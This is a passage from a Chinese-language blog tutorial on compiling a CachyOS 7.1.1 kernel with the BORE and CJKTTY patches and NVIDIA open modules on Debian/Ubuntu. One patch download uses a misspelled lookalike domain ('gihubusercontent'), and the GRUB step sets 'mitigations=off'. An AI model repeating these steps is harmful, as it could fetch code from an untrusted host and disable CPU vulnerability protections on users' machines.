系列</strong>的通用命令：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>apt</span><span> </span><span>update</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>apt</span><span> </span><span>install</span><span> </span><span>build-essential</span><span> </span><span>bc</span><span> </span><span>bison</span><span> </span><span>flex</span><span> </span><span>libssl-dev</span><span> </span><span>libelf-dev</span><span> </span><span>libncurses-dev</span><span> </span><span>zlib1g-dev</span><span> </span><span>cpio</span><span> </span><span>wget</span><span> </span><span>tar</span><span> </span><span>xz-utils</span><span> </span><span>zstd</span><span> </span><span>python3</span><span> </span><span>perl</span><span> </span><span>rustc</span><span> </span><span>cargo</span><span> </span><span>librust-bindgen-dev</span><span> </span><span>pahole</span><span> </span><span>dwarves</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>下载源码、补丁与配置文件<a href="#下载源码补丁与配置文件"><span>#</span></a></h3><p>根据 PKGBUILD 中的变量定义，当前版本为 <code>7.1.1-2</code>。</p><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 1. 新建专门用于存放源码与补丁的文件夹，方便管理（在 $HOME 目录下新建）</span></div></div><div><div><div>2</div></div><div><span>mkdir</span><span> </span><span>kernel-build</span><span> </span><span>&amp;&amp;</span><span> </span><span>cd</span><span> </span><span>kernel-build/</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 2. 下载并解压内核源码</span></div></div><div><div><div>5</div></div><div><span>wget</span><span> </span><span>https://github.com/CachyOS/linux/releases/download/cachyos-7.1.1-2/cachyos-7.1.1-2.tar.gz</span></div></div><div><div><div>6</div></div><div><span>tar</span><span> </span><span>-xf</span><span> </span><span>cachyos-7.1.1-2.tar.gz</span></div></div><div><div><div>7</div></div><div><span>cd</span><span> </span><span>cachyos-7.1.1-2</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span># 3. 下载 CachyOS 默认配置文件</span></div></div><div><div><div>10</div></div><div><span>wget</span><span> </span><span>https://raw.githubusercontent.com/CachyOS/linux-cachyos/master/config</span><span> </span><span>-O</span><span> </span><span>.config</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span># 4. 下载并应用默认调度器补丁 (BORE)</span></div></div><div><div><div>13</div></div><div><span>wget</span><span> </span><span>https://raw.githubusercontent.com/cachyos/kernel-patches/master/7.1/sched/0001-bore-cachy.patch</span></div></div><div><div><div>14</div></div><div><span>patch</span><span> </span><span>-Np1</span><span> </span><span>&lt;</span><span> </span><span>0001-bore-cachy.patch</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span># 5. 下载并应用 CJKTTY 补丁（让tty可显示中文等CJK字符）</span></div></div><div><div><div>17</div></div><div><span>wget</span><span> </span><span>https://raw.gihubusercontent.com/bigshans/cjktty-patches/master/v7.x/cjktty-7.1.patch</span></div></div><div><div><div>18</div></div><div><span>patch</span><span> </span><span>-Np1</span><span> </span><span>&lt;</span><span> </span><span>cjktty-7.1.patch</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><em>注：如果您需要应用其他补丁（如 RT 实时补丁、ZFS 支持等），需自行从 <code>https://github.com/cachyos/kernel-patches</code> 下载并使用 <code>patch -Np1 &lt; {补丁文件}</code> 应用。</em></p></section></section>
<section><h2>调整内核配置<a href="#调整内核配置"><span>#</span></a></h2><p>调整之前，让我们先<strong>使旧配置适配当前内核源码树</strong>。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>make</span><span> </span><span>olddefconfig</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>由于 <code>make menuconfig</code> 优先级大于 <code>scripts/config</code> 脚本，会覆盖脚本保存的修改配置，所以先 <code>menuconfig</code> 微调一下喜欢的选项再使用脚本修改内核配置。</p><section><h3>预 emption（游戏优化）<a href="#预-emption游戏优化"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>General setup  ---&gt;</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>Preemption Model  ---&gt;</span></div></div><div><div><div>3</div></div><div><span><span>        </span></span><span>(X) Preemptible Kernel (Low-Latency Desktop)</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>Tick Rate<a href="#tick-rate"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>General setup  ---&gt;</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>Timer frequency  ---&gt;</span></div></div><div><div><div>3</div></div><div><span><span>        </span></span><span>(X) 1000 HZ    # 游戏推荐</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>内存/性能相关<a href="#内存性能相关"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Processor type and features  ---&gt;</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>Transparent Hugepage support  ---&gt;</span></div></div><div><div><div>3</div></div><div><span><span>        </span></span><span>(X) Always</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>[*] Memory compaction</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>[*] Page migration</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span># 游戏性能提升明显</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>网络优化（游戏）<a href="#网络优化游戏"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Networking support  ---&gt;</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>Networking options  ---&gt;</span></div></div><div><div><div>3</div></div><div><span><span>        </span></span><span>[*] TCP: advanced congestion control  ---&gt;</span></div></div><div><div><div>4</div></div><div><span><span>            </span></span><span>(X) BBR v3    # 如果 7.0 menuconfig 有的话</span></div></div><div><div><div>5</div></div><div><span><span>        </span></span><span>[*] Network packet filtering framework (Netfilter)</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>文件系统<a href="#文件系统"><span>#</span></a></h3><p>因个人而异，由于我使用 XFS 文件系统作为根目录文件系统，所以开启 XFS 相关支持</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>File systems  ---&gt;</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>&lt;*&gt; XFS filesystem support</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>[*]   XFS Quota support</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>[*]   XFS POSIX ACL support</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>[*]   XFS Realtime subvolume support</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>[*]   XFS online repair support    # 7.0 新特性</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>PKGBUILD 中使用 <code>scripts/config</code> 脚本对默认配置进行了大量修改。<code>menuconfig</code> 配置完之后，我们需要使用脚本将这些 CachyOS 的核心优化应用到 <code>.config</code> 中。</p><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 关闭内核调试，不然会因为 image 过大无法启动</span></div></div><div><div><div>2</div></div><div><span>scripts/config</span><span> </span><span>-d</span><span> </span><span>CONFIG_DEBUG_INFO</span></div></div><div><div><div>3</div></div><div><span>scripts/config</span><span> </span><span>-d</span><span> </span><span>CONFIG_DEBUG_KERNEL</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># 启用 BORE 调度器</span></div></div><div><div><div>6</div></div><div><span>scripts/config</span><span> </span><span>-e</span><span> </span><span>SCHED_BORE</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span># 启用 O3 编译优化 (PKGBUILD 中 _cc_harder=yes)</span></div></div><div><div><div>9</div></div><div><span>scripts/config</span><span> </span><span>-d</span><span> </span><span>CC_OPTIMIZE_FOR_PERFORMANCE</span><span> </span><span>-e</span><span> </span><span>CC_OPTIMIZE_FOR_PERFORMANCE_O3</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span># 设置 Tick Rate 为 1000Hz (PKGBUILD 中 _HZ_ticks=1000)</span></div></div><div><div><div>12</div></div><div><span>scripts/config</span><span> </span><span>-d</span><span> </span><span>HZ_300</span><span> </span><span>-e</span><span> </span><span>HZ_1000</span><span> </span><span>--set-val</span><span> </span><span>HZ</span><span> </span><span>1000</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span># 设置 Transparent Hugepages 为 always (PKGBUILD 中 _hugepage=always)</span></div></div><div><div><div>15</div></div><div><span>scripts/config</span><span> </span><span>-d</span><span> </span><span>TRANSPARENT_HUGEPAGE_MADVISE</span><span> </span><span>-e</span><span> </span><span>TRANSPARENT_HUGEPAGE_ALWAYS</span></div></div><div><div><div>16</div></div><div>
</div></div><div><div><div>17</div></div><div><span># 设置抢占模式为 full (PKGBUILD 中 _preempt=full)</span></div></div><div><div><div>18</div></div><div><span>scripts/config</span><span> </span><span>-e</span><span> </span><span>PREEMPT</span><span> </span><span>-d</span><span> </span><span>PREEMPT_LAZY</span></div></div><div><div><div>19</div></div><div>
</div></div><div><div><div>20</div></div><div><span># 开启 x86_64-v3 微架构</span></div></div><div><div><div>21</div></div><div><span>scripts/config</span><span> </span><span>-d</span><span> </span><span>GENERIC_CPU</span></div></div><div><div><div>22</div></div><div><span>scripts/config</span><span> </span><span>-d</span><span> </span><span>GENERIC_CPU2</span></div></div><div><div><div>23</div></div><div><span>scripts/config</span><span> </span><span>-e</span><span> </span><span>GENERIC_CPU3</span></div></div><div><div><div>24</div></div><div><span>scripts/config</span><span> </span><span>-d</span><span> </span><span>GENERIC_CPU4</span></div></div><div><div><div>25</div></div><div><span>scripts/config</span><span> </span><span>-d</span><span> </span><span>NATIVE</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>如果您需要开启 TCP BBR3 或修改 CPU 架构优化（如 Zen4），可以追加相应的 <code>scripts/config</code> 命令进行微调。</p><p>接下来，让我们验证目前所有的修改有没有生效</p><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 验证所有修改</span></div></div><div><div><div>2</div></div><div><span>echo</span><span> </span><span>"</span><span>=== 取消 DEBUG 调试 ===</span><span>"</span></div></div><div><div><div>3</div></div><div><span>grep</span><span> </span><span>CONFIG_DEBUG_INFO</span></div></div><div><div><div>4</div></div><div><span>grep</span><span> </span><span>CONFIG_DEBUG_KERNEL</span></div></div><div><div><div>5</div></div><div><span>echo</span><span> </span><span>"</span><span>=== CPU 架构 ===</span><span>"</span></div></div><div><div><div>6</div></div><div><span>grep</span><span> </span><span>CONFIG_GENERIC_CPU</span><span> </span><span>.config</span></div></div><div><div><div>7</div></div><div><span>echo</span><span> </span><span>"</span><span>=== BORE ===</span><span>"</span></div></div><div><div><div>8</div></div><div><span>grep</span><span> </span><span>CONFIG_SCHED_BORE</span><span> </span><span>.config</span></div></div><div><div><div>9</div></div><div><span>echo</span><span> </span><span>"</span><span>=== O3 ===</span><span>"</span></div></div><div><div><div>10</div></div><div><span>grep</span><span> </span><span>CC_OPTIMIZE_FOR_PERFORMANCE</span><span> </span><span>.config</span></div></div><div><div><div>11</div></div><div><span>echo</span><span> </span><span>"</span><span>=== HZ ===</span><span>"</span></div></div><div><div><div>12</div></div><div><span>grep</span><span> </span><span>CONFIG_HZ</span><span> </span><span>.config</span></div></div><div><div><div>13</div></div><div><span>echo</span><span> </span><span>"</span><span>=== THP ===</span><span>"</span></div></div><div><div><div>14</div></div><div><span>grep</span><span> </span><span>TRANSPARENT_HUGEPAGE</span><span> </span><span>.config</span></div></div><div><div><div>15</div></div><div><span>echo</span><span> </span><span>"</span><span>=== Preempt ===</span><span>"</span></div></div><div><div><div>16</div></div><div><span>grep</span><span> </span><span>CONFIG_PREEMPT</span><span> </span><span>.config</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>如果验证结果看起来符合你的预期(开启为<code>=y</code>，关闭为<code>is not set</code>)，接下来就到了正式构建你亲手配置的内核的时间了！</p></section></section>
<section><h2>编译内核与安装<a href="#编译内核与安装"><span>#</span></a></h2><p>不同于其他发行版的<code>make install</code>， Debian/Ubuntu 系列使用 Deb 包安装内核且使用 dpkg 进行管理，我们可以用现代内核自带的 deb 打包目标，同时拉满 CPU 核心进行编译：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 构建内核 Deb 包</span></div></div><div><div><div>2</div></div><div><span>make</span><span> </span><span>-j</span><span>$(</span><span>nproc</span><span>)</span><span> </span><span>bindeb-pkg</span><span> </span><span>LOCALVERSION=-cachyos-bore-lto-{在这里可自定义你自己的后缀}</span><span> </span><span>KDEB_PKGVERSION=</span><span>3</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 构建内核模块</span></div></div><div><div><div>5</div></div><div><span>make</span><span> </span><span>-j</span><span>$(</span><span>nproc</span><span>)</span><span> </span><span>modules</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>等待编译完成生成 image，会自动打包成 deb 包供我们安装，日后也方便卸载。Deb 包会在上一级目录出现，编译完成后我们进行安装环节：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>~/kernel-build</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>dpkg</span><span> </span><span>-i</span><span> </span><span>linux-headers-7.1.1-cachyos-bore-lto-{你自定义的后缀}_3_amd64.deb</span></div></div><div><div><div>3</div></div><div><span>sudo</span><span> </span><span>dpkg</span><span> </span><span>-i</span><span> </span><span>linux-image-7.1.1-cachyos-bore-lto-{你自定义的后缀}_3_amd64.deb</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>安装完成后，定位到内核源码目录，进行内核模块安装：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>cachyos-7.1.1-2</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>make</span><span> </span><span>modules_install</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h2>【重要】NVIDIA DKMS 模块<a href="#重要nvidia-dkms-模块"><span>#</span></a></h2><section><h3>为新内核安装英伟达显卡开源驱动<a href="#为新内核安装英伟达显卡开源驱动"><span>#</span></a></h3><div><div><div></div><div>注意</div></div><div><p>Ubuntu 提供的 NVIDIA DKMS 开源驱动虽然带有<code>open</code>后缀，但它提供的模块却是闭源的(<code>/lib/modules/{内核版本}/updates/dkms/nvidia.ko.zst</code>，开源模块为<code>/lib/modules/{内核版本}/kernel/drivers/video/nvidia.ko</code>)。闭源模块对于自编译内核来说不兼容，记得需要禁用闭源模块或者卸载相关驱动包。</p></div></div><p>每张 NVIDIA 显卡都有对应的驱动版本，例如我的游戏本搭载的 RTX 5060 Laptop 在安装完 Linux Mint 后执行 <code>nvidia-smi</code> 显示的驱动版本为 <code>595.71.05</code>。非必要情况下尽量操作时保持驱动版本一致！</p><p>保持在<code>~/kernel-build</code>目录，下载 DKMS 开源模块源码包，解压、构建并安装</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>~/kernel-build</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span># 这里记得把版本号替换为你的驱动版本，以我的595.71版本为例</span></div></div><div><div><div>4</div></div><div><span>wget</span><span> </span><span>https://github.com/NVIDIA/open-gpu-kernel-modules/archive/refs/tags/595.71.05.tar.gz</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span># 解压并进入模块源码目录</span></div></div><div><div><div>7</div></div><div><span>tar</span><span> </span><span>-xf</span><span> </span><span>595.71.05.tar.gz</span></div></div><div><div><div>8</div></div><div><span>cd</span><span> </span><span>open-gpu-kernel-modules-595.71.05</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span># 编译并安装</span></div></div><div><div><div>11</div></div><div><span>make</span><span> </span><span>-j</span><span>$(</span><span>nproc</span><span>)</span><span> </span><span>modules</span><span> </span><span>IGNORE_CC_MISMATCH=yes</span><span> </span><span>SYSSRC=/lib/modules/</span><span>$(</span><span>uname</span><span> </span><span>-r</span><span>)</span><span>/build</span></div></div><div><div><div>12</div></div><div><span>sudo</span><span> </span><span>make</span><span> </span><span>modules_install</span><span> </span><span>IGNORE_CC_MISMATCH=yes</span><span> </span><span>SYSSRC=/lib/modules/</span><span>$(</span><span>uname</span><span> </span><span>-r</span><span>)</span><span>/build</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>清理 Ubuntu 提供的闭源驱动模块<a href="#清理-ubuntu-提供的闭源驱动模块"><span>#</span></a></h3><p>安装完模块后不要急着更新引导重启，让我们先把干扰我们的 Ubuntu 提供的闭源模块清理掉：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 1. 确认当前加载的是哪个模块</span></div></div><div><div><div>2</div></div><div><span>modinfo</span><span> </span><span>nvidia</span><span> </span><span>|</span><span> </span><span>grep</span><span> </span><span>filename</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 2. 删除之前 DKMS 编译的闭源模块（已废弃）</span></div></div><div><div><div>5</div></div><div><span>sudo</span><span> </span><span>rm</span><span> </span><span>-f</span><span> </span><span>/lib/modules/</span><span>$(</span><span>uname</span><span> </span><span>-r</span><span>)</span><span>/updates/dkms/nvidia</span><span>*</span><span>.ko</span><span>*</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 3. 从 DKMS 中移除 7.1 内核的闭源模块记录（保留 6.14 和 6.17 的）</span></div></div><div><div><div>8</div></div><div><span>sudo</span><span> </span><span>dkms</span><span> </span><span>remove</span><span> </span><span>nvidia/595.71.05</span><span> </span><span>-k</span><span> </span><span>7.1.1-cachyos-bore-lto-{你的自定义后缀}</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span># 4. 更新模块依赖</span></div></div><div><div><div>11</div></div><div><span>sudo</span><span> </span><span>depmod</span><span> </span><span>-a</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span># 5. 验证 DKMS 状态（应该只剩旧内核的条目）</span></div></div><div><div><div>14</div></div><div><span>sudo</span><span> </span><span>dkms</span><span> </span><span>status</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>
<section><h2>更新 Initramfs 与引导加载程序（关键）<a href="#更新-initramfs-与引导加载程序关键"><span>#</span></a></h2><p><code>make install</code> 在 Arch Linux 之外通常不会自动处理 Initramfs 的生成和 GRUB 引导菜单的更新。您必须根据您所使用的发行版手动执行以下操作（依旧以 Debian/Ubuntu 系列为例）：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 获取刚安装的内核版本号</span></div></div><div><div><div>2</div></div><div><span>KERNEL_VER</span><span>=$(</span><span>cat</span><span> </span><span>include/config/kernel.release</span><span>)</span></div></div><div><div><div>3</div></div><div><span>sudo</span><span> </span><span>update-initramfs</span><span> </span><span>-c</span><span> </span><span>-k</span><span> $KERNEL_VER</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>接下来，编辑 GRUB 引导程序配置：</p><div><figure><figcaption><span>/etc/default/grub</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 找到 GRUB_CMDLINE_LINUX_DEFAULT，添加以下参数：</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>GRUB_CMDLINE_LINUX_DEFAULT</span><span>=</span><span>"</span><span>... nvidia-drm.modeset=1 nowatchdog mitigations=off threadirqs loglevel=5...</span><span>"</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># 去掉 quiet splash     - 禁用对系统启动过程中内核输出的详细信息的抑制，禁用显示启动画面（通常为品牌或发行版LOGO的图形界面）</span></div></div><div><div><div>6</div></div><div><span># nvidia-drm.modeset=1  - 启用 NVIDIA Wayland/DRM 支持</span></div></div><div><div><div>7</div></div><div><span># nowatchdog            - 禁用看门狗，降低延迟</span></div></div><div><div><div>8</div></div><div><span># mitigations=off       - 关闭 Spectre/Meltdown 缓解（性能提升，安全性略降）</span></div></div><div><div><div>9</div></div><div><span># threadirqs            - 线程化 IRQ 处理</span></div></div><div><div><div>10</div></div><div><span># loglevel=5            - 显示内核启动日志等级为 5</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>应用 GRUB 配置：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>update-grub</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>reboot</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h2>验证环节<a href="#验证环节"><span>#</span></a></h2><p>打开终端，输入以下命令：</p><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 确认启动的是 CachyOS 内核</span></div></div><div><div><div>2</div></div><div><span>uname</span><span> </span><span>-r</span></div></div><div><div><div>3</div></div><div><span># 期望输出类似：7.1.1-cachyos-bore-lto-{你的自定义后缀}</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># 确认 NVIDIA 独显是否成功驱动</span></div></div><div><div><div>6</div></div><div><span>nvidia-smi</span></div></div><div><div><div>7</div></div><div><span># 如果没有报错即为驱动安装成功</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span># 确认 BORE 调度器</span></div></div><div><div><div>10</div></div><div><span>dmesg</span><span> </span><span>|</span><span> </span><span>grep</span><span> </span><span>-i</span><span> </span><span>bore</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span># 确认 LTO 优化</span></div></div><div><div><div>13</div></div><div><span>cat</span><span> </span><span>/proc/version</span></div></div><div><div><div>14</div></div><div><span># 应该包含你设置的 LOCALVERSION</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span># 确认构建选项是否与你刚刚操作的一致</span></div></div><div><div><div>17</div></div><div><span>echo</span><span> </span><span>"</span><span>=== CPU 架构 ===</span><span>"</span></div></div><div><div><div>18</div></div><div><span>grep</span><span> </span><span>CONFIG_GENERIC_CPU</span><span> </span><span>/boot/config-</span><span>$(</span><span>uname</span><span> </span><span>-r</span><span>)</span></div></div><div><div><div>19</div></div><div><span>echo</span><span> </span><span>"</span><span>=== BORE ===</span><span>"</span></div></div><div><div><div>20</div></div><div><span>grep</span><span> </span><span>CONFIG_SCHED_BORE</span><span> </span><span>/boot/config-</span><span>$(</span><span>uname</span><span> </span><span>-r</span><span>)</span></div></div><div><div><div>21</div></div><div><span>echo</span><span> </span><span>"</span><span>=== O3 ===</span><span>"</span></div></div><div><div><div>22</div></div><div><span>grep</span><span> </span><span>CC_OPTIMIZE_FOR_PERFORMANCE</span><span> </span><span>/boot/config-</span><span>$(</span><span>uname</span><span> </span><span>-r</span><span>)</span></div></div><div><div><div>23</div></div><div><span>echo</span><span> </span><span>"</span><span>=== HZ ===</span><span>"</span></div></div><div><div><div>24</div></div><div><span>grep</span><span> </span><span>CONFIG_HZ</span><span> </span><span>/boot/config-</span><span>$(</span><span>uname</span><span> </span><span>-r</span><span>)</span></div></div><div><div><div>25</div></div><div><span>echo</span><span> </span><span>"</span><span>=== THP ===</span><span>"</span></div></div><div><div><div>26</div></div><div><span>grep</span><span> </span><span>TRANSPARENT_HUGEPAGE</span><span> </span><span>/boot/config-</span><span>$(</span><span>uname</span><span> </span><span>-r</span><span>)</span></div></div><div><div><div>27</div></div><div><span>echo</span><span> </span><span>"</span><span>=== Preempt ===</span><span>"</span></div></div><div><div><div>28</div></div><div><span>grep</span><span> </span><span>CONFIG_PREEMPT</span><span> </span><span>/boot/config-</span><span>$(</span><span>uname</span><span> </span><span>-r</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>确认是否使用了 NVIDIA 开源驱动模块：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 最准确的方式：查看模块文件路径和元数据</span></div></div><div><div><div>2</div></div><div><span>modinfo</span><span> </span><span>nvidia</span><span> </span><span>|</span><span> </span><span>grep</span><span> </span><span>-E</span><span> </span><span>"</span><span>filename|version|description|author|license</span><span>"</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 查看模块实际存放位置（判断来源）</span></div></div><div><div><div>5</div></div><div><span>find</span><span> </span><span>/lib/modules/</span><span>$(</span><span>uname</span><span> </span><span>-r</span><span>)</span><span> </span><span>-name</span><span> </span><span>"</span><span>nvidia.ko*</span><span>"</span><span> </span><span>-exec</span><span> </span><span>ls</span><span> </span><span>-la</span><span> </span><span>{}</span><span> \;</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 直接查看模块内字符串（开源模块会包含特定标识）</span></div></div><div><div><div>8</div></div><div><span>strings</span><span> </span><span>$(</span><span>modinfo</span><span> </span><span>nvidia</span><span> </span><span>|</span><span> </span><span>grep</span><span> </span><span>filename</span><span> </span><span>|</span><span> </span><span>awk</span><span> </span><span>'</span><span>{print $2}</span><span>'</span><span>)</span><span> </span><span>|</span><span> </span><span>grep</span><span> </span><span>-i</span><span> </span><span>"</span><span>open.*gpu\|nvidia.*open\|GPL</span><span>"</span><span> </span><span>|</span><span> </span><span>head</span><span> </span><span>-5</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>Open 驱动判断依据：</p>

<table><thead><tr><th>特征</th><th>闭源模块 (DKMS)</th><th>开源模块 (GitHub 手动编译)</th></tr></thead><tbody><tr><td><strong>路径</strong></td><td><code>/lib/modules/.../updates/dkms/nvidia.ko.zst</code></td><td><code>/lib/modules/.../kernel/drivers/video/nvidia.ko</code></td></tr><tr><td><strong>license</strong></td><td><code>NVIDIA</code></td><td><code>GPL</code> 或 <code>Dual MIT/GPL</code></td></tr><tr><td><strong>description</strong></td><td><code>NVIDIA Linux Kernel Module</code></td><td><code>NVIDIA open gpu kernel module</code></td></tr><tr><td><strong>strings 内容</strong></td><td>无 <code>open-gpu</code> 字样</td><td>包含 <code>open-gpu-kernel-modules</code></td></tr></tbody></table><p>如果你判断不了预期结果符不符合，可以参考我的输出：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>lingxi@lingxi-Shadow-SH16-74:~$</span><span> </span><span>uname</span><span> </span><span>-r</span></div></div><div><div><div>2</div></div><div><span>7.1.1-cachyos-bore-lto-lingxi9374</span></div></div><div><div><div>3</div></div><div><span>lingxi@lingxi-Shadow-SH16-74:~$</span><span> </span><span>dmesg</span><span> </span><span>|</span><span> </span><span>grep</span><span> </span><span>-i</span><span> </span><span>bore</span></div></div><div><div><div>4</div></div><div><span>[</span><span>    0.000000</span><span>]</span><span> Linux version 7.1.1-cachyos-bore-lto-lingxi9374 (</span><span>lingxi@lingxi-Shadow-SH16-74</span><span>) (</span><span>gcc</span><span> (Ubuntu </span><span>13.3.0-6ubuntu2~24.04.1</span><span>) 13.3.0, GNU ld (</span><span>GNU</span><span> </span><span>Binutils</span><span> </span><span>for</span><span> </span><span>Ubuntu</span><span>) 2.42) </span><span>#3 SMP PREEMPT_DYNAMIC Tue Jun 23 01:19:49 CST 2026</span></div></div><div><div><div>5</div></div><div><span>[</span><span>    0.000000</span><span>]</span><span> Command line: BOOT_IMAGE</span><span>=</span><span>/boot/vmlinuz-7.1.1-cachyos-bore-lto-lingxi9374</span><span> root</span><span>=</span><span>UUID</span><span>=</span><span>3239xxxx-xxxx-xxxx-xxxx-xxxxxxxx2dab</span><span> </span><span>ro</span><span> </span><span>nvidia-drm.modeset=</span><span>1</span><span> </span><span>nowatchdog</span><span> </span><span>mitigations=off</span><span> </span><span>threadirqs</span><span> </span><span>loglevel=</span><span>5</span></div></div><div><div><div>6</div></div><div><span>[</span><span>    0.030901</span><span>]</span><span> Kernel command line: BOOT_IMAGE</span><span>=</span><span>/boot/vmlinuz-7.1.1-cachyos-bore-lto-lingxi9374</span><span> root</span><span>=</span><span>UUID</span><span>=</span><span>3239xxxx-xxxx-xxxx-xxxx-xxxxxxxx2dab</span><span> </span><span>ro</span><span> </span><span>nvidia-drm.modeset=</span><span>1</span><span> </span><span>nowatchdog</span><span> </span><span>mitigations=off</span><span> </span><span>threadirqs</span><span> </span><span>loglevel=</span><span>5</span></div></div><div><div><div>7</div></div><div><span>[</span><span>    0.064552</span><span>]</span><span> BORE CPU Scheduler modification 6.6.3 by Masahito Suzuki</span></div></div><div><div><div>8</div></div><div><span>[</span><span>    0.923421</span><span>]</span><span> usb usb1: Manufacturer: Linux 7.1.1-cachyos-bore-lto-lingxi9374 xhci-hcd</span></div></div><div><div><div>9</div></div><div><span>[</span><span>    0.926580</span><span>]</span><span> usb usb2: Manufacturer: Linux 7.1.1-cachyos-bore-lto-lingxi9374 xhci-hcd</span></div></div><div><div><div>10</div></div><div><span>lingxi@lingxi-Shadow-SH16-74:~$</span><span> 